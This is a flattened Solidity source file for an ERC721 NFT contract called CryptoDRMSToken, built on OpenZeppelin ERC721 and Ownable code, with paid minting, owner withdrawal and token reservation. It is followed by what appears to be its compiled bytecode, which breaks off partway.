require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.7.0;
/**
* @title CryptoDRMSToken contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract CryptoDRMSToken is ERC721, Ownable {
using SafeMath for uint256;
uint256 public constant tokenPrice = 80000000000000000; //0.08 ETH
uint public constant maxTokenPurchase = 20;
uint256 public MAX_TOKENS;
constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) {
MAX_TOKENS = maxNftSupply;
_setBaseURI("ipfs://");
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
/**
* Set some Crypto DRMS Token Asset aside
*/
function reserveTokens() public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < 30; i++) {
_safeMint(msg.sender, supply + i);
}
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
/**
* Mints Crypto DRMS Token Assets
*/
function mintToken(string memory metadataURI) public payable {
require(totalSupply().add(1) <= MAX_TOKENS, "Purchase would exceed max supply of Tokens");
require(tokenPrice.mul(1) <= msg.value, "Ether value sent is not correct");
uint mintIndex = totalSupply();
if (totalSupply() < MAX_TOKENS) {
_safeMint(msg.sender, mintIndex);
_setTokenURI(mintIndex, metadataURI);
}
}
} | 0x60806040526004361061019c5760003560e01c806355f804b3116100ec57806395d89b411161008a578063c87b56dd11610064578063c87b56dd14610af8578063e985e9c514610bac578063f2fde38b14610c33578063f47c84c514610c845761019c565b806395d89b41146108f9578063a22cb46514610989578063b88d4fde146109e65761019c565b806370a08231116100c657806370a0823114610811578063715018a6146108765780637ff9b5961461088d5780638da5cb5b146108b85761019c565b806355f804b3146106545780636352211e1461071c5780636c0360eb146107815761019c565b806323b872dd1161015957806333eba49a1161013357806333eba49a146104b85780633ccfd60b1461057357806342842e0e1461058a5780634f6ccce7146106055761019c565b806323b872dd146103b757806327ac36c4146104325780632f745c59146104495761019c565b806301ffc9a7146101a157806306fdde0314610211578063081812fc146102a1578063095ea7b31461030657806309aa3dcf1461036157806318160ddd1461038c575b600080fd5b3480156101ad57600080fd5b506101f9600480360360208110156101c457600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610caf565b60405180821515815260200191505060405180910390f35b34801561021d57600080fd5b50610226610d16565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026657808201518184015260208101905061024b565b50505050905090810190601f1680156102935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ad57600080fd5b506102da600480360360208110156102c457600080fd5b8101908080359060200190929190505050610db8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031257600080fd5b5061035f6004803603604081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e53565b005b34801561036d57600080fd5b50610376610f97565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103a1610f9c565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b50610430600480360360608110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b005b34801561043e57600080fd5b50610447611023565b005b34801561045557600080fd5b506104a26004803603604081101561046c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611107565b6040518082815260200191505060405180910390f35b610571600480360360208110156104ce57600080fd5b81019080803590602001906401000000008111156104eb57600080fd5b8201836020820111156104fd57600080fd5b8035906020019184600183028401116401000000008311171561051f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611162565b005b34801561057f57600080fd5b5061058861129e565b005b34801561059657600080fd5b50610603600480360360608110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061139c565b005b34801561061157600080fd5b5061063e6004803603602081101561062857600080fd5b81019080803590602001909291905050506113bc565b6040518082815260200191505060405180910390f35b34801561066057600080fd5b5061071a6004803603602081101561067757600080fd5b810190808035906020019064010000000081111561069457600080fd5b8201836020820111156106a657600080fd5b803590602001918460018302840111640100000000831117156106c857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113df565b005b34801561072857600080fd5b506107556004803603602081101561073f57600080fd5b810190808035906020019092919050505061149a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078d57600080fd5b506107966114d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107d65780820151818401526020810190506107bb565b50505050905090810190601f1680156108035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561081d57600080fd5b506108606004803603602081101561083457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611573565b6040518082815260200191505060405180910390f35b34801561088257600080fd5b5061088b611648565b005b34801561089957600080fd5b506108a26117b8565b6040518082815260200191505060405180910390f35b3480156108c457600080fd5b506108cd6117c4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561090557600080fd5b5061090e6117ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561094e578082015181840152602081019050610933565b50505050905090810190601f16801561097b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561099557600080fd5b506109e4600480360360408110156109ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611890565b005b3480156109f257600080fd5b50610af660048036036080811015610a0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610a7057600080fd5b820183602082011115610a8257600080fd5b80359060200191846001830284011164010000000083111715610aa457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611a46565b005b348015610b0457600080fd5b50610b3160048036036020811015610b1b57600080fd5b8101908080359060200190929190505050611abe565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b71578082015181840152602081019050610b56565b50505050905090810190601f168015610b9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bb857600080fd5b50610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d8f565b60405180821515815260200191505060405180910390f35b348015610c3f57600080fd5b50610c8260048036036020811015610c5657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e23565b005b348015610c9057600080fd5b50610c99612018565b6040518082815260200191505060405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dae5780601f10610d8357610100808354040283529160200191610dae565b820191906000526020600020905b815481529060010190602001808311610d9157829003601f168201915b5050505050905090565b6000610dc38261201e565b610e18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613732602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610e5e8261149a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ee5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137e26021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610f0461203b565b73ffffffffffffffffffffffffffffffffffffffff161480610f335750610f3281610f2d61203b565b611d8f565b5b610f88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806136646038913960400191505060405180910390fd5b610f928383612043565b505050565b601481565b6000610fa860026120fc565b905090565b610fbe610fb861203b565b82612111565b611013576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806138036031913960400191505060405180910390fd5b61101e838383612205565b505050565b61102b61203b565b73ffffffffffffffffffffffffffffffffffffffff166110496117c4565b73ffffffffffffffffffffffffffffffffffffffff16146110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006110dc610f9c565b905060005b601e811015611103576110f633828401612448565b80806001019150506110e1565b5050565b600061115a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061246690919063ffffffff16565b905092915050565b600b546111806001611172610f9c565b61248090919063ffffffff16565b11156111d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806135c4602a913960400191505060405180910390fd5b346111f4600167011c37937e08000061250890919063ffffffff16565b1115611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45746865722076616c75652073656e74206973206e6f7420636f72726563740081525060200191505060405180910390fd5b6000611272610f9c565b9050600b5461127f610f9c565b101561129a5761128f3382612448565b611299818361258e565b5b5050565b6112a661203b565b73ffffffffffffffffffffffffffffffffffffffff166112c46117c4565b73ffffffffffffffffffffffffffffffffffffffff161461134d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611398573d6000803e3d6000fd5b5050565b6113b783838360405180602001604052806000815250611a46565b505050565b6000806113d383600261261890919063ffffffff16565b50905080915050919050565b6113e761203b565b73ffffffffffffffffffffffffffffffffffffffff166114056117c4565b73ffffffffffffffffffffffffffffffffffffffff161461148e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149781612644565b50565b60006114ca826040518060600160405280602981526020016136c660299139600261265e9092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115695780601f1061153e57610100808354040283529160200191611569565b820191906000526020600020905b81548152906001019060200180831161154c57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061369c602a913960400191505060405180910390fd5b611641600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061267d565b9050919050565b61165061203b565b73ffffffffffffffffffffffffffffffffffffffff1661166e6117c4565b73ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b67011c37937e08000081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118865780601f1061185b57610100808354040283529160200191611886565b820191906000526020600020905b81548152906001019060200180831161186957829003601f168201915b5050505050905090565b61189861203b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611939576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b806005600061194661203b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166119f361203b565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611a57611a5161203b565b83612111565b611aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806138036031913960400191505060405180910390fd5b611ab884848484612692565b50505050565b6060611ac98261201e565b611b1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806137b3602f913960400191505060405180910390fd5b6000600860008481526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bc75780601f10611b9c57610100808354040283529160200191611bc7565b820191906000526020600020905b815481529060010190602001808311611baa57829003601f168201915b505050505090506000611bd86114d1565b9050600081511415611bee578192505050611d8a565b600082511115611cbf5780826040516020018083805190602001908083835b60208310611c305780518252602082019150602081019050602083039250611c0d565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310611c815780518252602082019150602081019050602083039250611c5e565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050611d8a565b80611cc985612704565b6040516020018083805190602001908083835b60208310611cff5780518252602082019150602081019050602083039250611cdc565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310611d505780518252602082019150602081019050602083039250611d2d565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611e2b61203b565b73ffffffffffffffffffffffffffffffffffffffff16611e496117c4565b73ffffffffffffffffffffffffffffffffffffffff1614611ed2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061359e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b600061203482600261284b90919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166120b68361149a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061210a82600001612865565b9050919050565b600061211c8261201e565b612171576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613638602c913960400191505060405180910390fd5b600061217c8361149a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806121eb57508373ffffffffffffffffffffffffffffffffffffffff166121d384610db8565b73ffffffffffffffffffffffffffffffffffffffff16145b806121fc57506121fb8185611d8f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166122258261149a565b73ffffffffffffffffffffffffffffffffffffffff1614612291576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061378a6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612317576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806135ee6024913960400191505060405180910390fd5b612322838383612876565b61232d600082612043565b61237e81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061287b90919063ffffffff16565b506123d081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061289590919063ffffffff16565b506123e7818360026128af9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6124628282604051806020016040528060008152506128e4565b5050565b60006124758360000183612955565b60001c905092915050565b6000808284019050838110156124fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083141561251b5760009050612588565b600082840290508284828161252c57fe5b0414612583576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137116021913960400191505060405180910390fd5b809150505b92915050565b6125978261201e565b6125ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061375e602c913960400191505060405180910390fd5b8060086000848152602001908152602001600020908051906020019061261392919061349e565b505050565b60008060008061262b86600001866129d8565b915091508160001c8160001c9350935050509250929050565b806009908051906020019061265a92919061349e565b5050565b6000612671846000018460001b84612a71565b60001c90509392505050565b600061268b82600001612b67565b9050919050565b61269d848484612205565b6126a984848484612b78565b6126fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603281526020018061356c6032913960400191505060405180910390fd5b50505050565b6060600082141561274c576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612846565b600082905060005b60008214612776578080600101915050600a828161276e57fe5b049150612754565b60008167ffffffffffffffff8111801561278f57600080fd5b506040519080825280601f01601f1916602001820160405280156127c25781602001600182028036833780820191505090505b50905060006001830390508593505b6000841461283e57600a84816127e357fe5b0660300160f81b828280600190039350815181106127fd57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161283657fe5b0493506127d1565b819450505050505b919050565b600061285d836000018360001b612d91565b905092915050565b600081600001805490509050919050565b505050565b600061288d836000018360001b612db4565b905092915050565b60006128a7836000018360001b612e9c565b905092915050565b60006128db846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b612f0c565b90509392505050565b6128ee8383612fe8565b6128fb6000848484612b78565b612950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603281526020018061356c6032913960400191505060405180910390fd5b505050565b6000818360000180549050116129b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061354a6022913960400191505060405180910390fd5b8260000182815481106129c557fe5b9060005260206000200154905092915050565b60008082846000018054905011612a3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136ef6022913960400191505060405180910390fd5b6000846000018481548110612a4b57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390612b38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612afd578082015181840152602081019050612ae2565b50505050905090810190601f168015612b2a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110612b4b57fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b6000612b998473ffffffffffffffffffffffffffffffffffffffff166131dc565b612ba65760019050612d89565b6000612d1063150b7a0260e01b612bbb61203b565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612c3f578082015181840152602081019050612c24565b50505050905090810190601f168015612c6c5780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405180606001604052806032815260200161356c603291398773ffffffffffffffffffffffffffffffffffffffff166131ef9092919063ffffffff16565b90506000818060200190516020811015612d2957600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114612e905760006001820390506000600186600001805490500390506000866000018281548110612dff57fe5b9060005260206000200154905080876000018481548110612e1c57fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480612e5457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612e96565b60009150505b92915050565b6000612ea88383613207565b612f01578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612f06565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415612fb357846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050612fe1565b82856000016001830381548110612fc657fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561308b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6130948161201e565b15613107576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c815